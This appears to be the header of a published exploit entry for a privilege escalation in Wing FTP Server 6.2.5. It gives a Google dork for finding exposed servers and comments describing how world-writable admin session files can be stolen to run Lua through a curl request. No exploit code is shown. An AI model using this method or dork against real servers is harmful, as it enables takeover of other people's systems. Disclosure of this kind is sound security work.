# Exploit Title: Wing FTP Server 6.2.5 - Privilege Escalation
# Google Dork: intitle:"Wing FTP Server - Web"
# Date: 2020-03-03
# Exploit Author: Cary Hooper
# Vendor Homepage: https://www.wftpserver.com
# Software Link: https://www.wftpserver.com/download/wftpserver-linux-64bit.tar.gz
# Version: v6.2.5 and prior
# Tested on: Ubuntu 18.04
# CVE: N/A

# If $_WINGFTPDIR is the installation directory where Wing FTP was installed,
# $_WINGFTPDIR/wftpserver/session/* --> corresponds to user sessions... world readable/writeable (possibly exploitable)
# $_WINGFTPDIR/wftpserver/session_admin/* --> corresponds to admin sessions... world readable/writeable.
# We can wait for an admin to log in, steal their session, then launch a curl command which executes LUA.
